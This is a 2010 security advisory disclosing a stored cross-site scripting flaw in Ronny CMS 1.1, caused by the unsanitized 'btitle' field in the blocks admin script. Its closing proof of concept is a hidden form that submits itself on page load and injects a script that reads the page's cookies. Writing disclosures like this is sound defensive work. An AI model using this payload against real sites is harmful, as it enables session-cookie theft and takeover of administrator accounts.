Vulnerability ID: HTB22622 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_ronny_cms.html Product: Ronny CMS Vendor: TO4KA Programming Team ( http://ronny-cms.ru/ ) Vulnerable Version: 1.1 r935 and probably prior versions Vendor Notification: 29 September 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "modules/system/admin/blocksadmin/blocksadmin.php" script to properly sanitize user-supplied input in "btitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/system/admin.php"; method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="bside" value="0" /> <input type="hidden" name="bshow_template" value="standard" /> <input type="hidden" name="bcmodule[]" value="-1" /> <input type="hidden" name="bcmodule[]" value="0" /> <input type="hidden" name="bcmodule[]" value="2" /> <input type="hidden" name="bcmodule[]" value="3" /> <input type="hidden" name="bvisible" value="0" /> <input type="hidden" name="bweight" value="" /> <input type="hidden" name="btitle" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="bcontent" value="" /> <input type="hidden" name="bctype" value="H" /> <input type="hidden" name="fct" value="blocksadmin" /> <input type="hidden" name="op" value="save" /> </form> <script> document.main.submit(); </script>
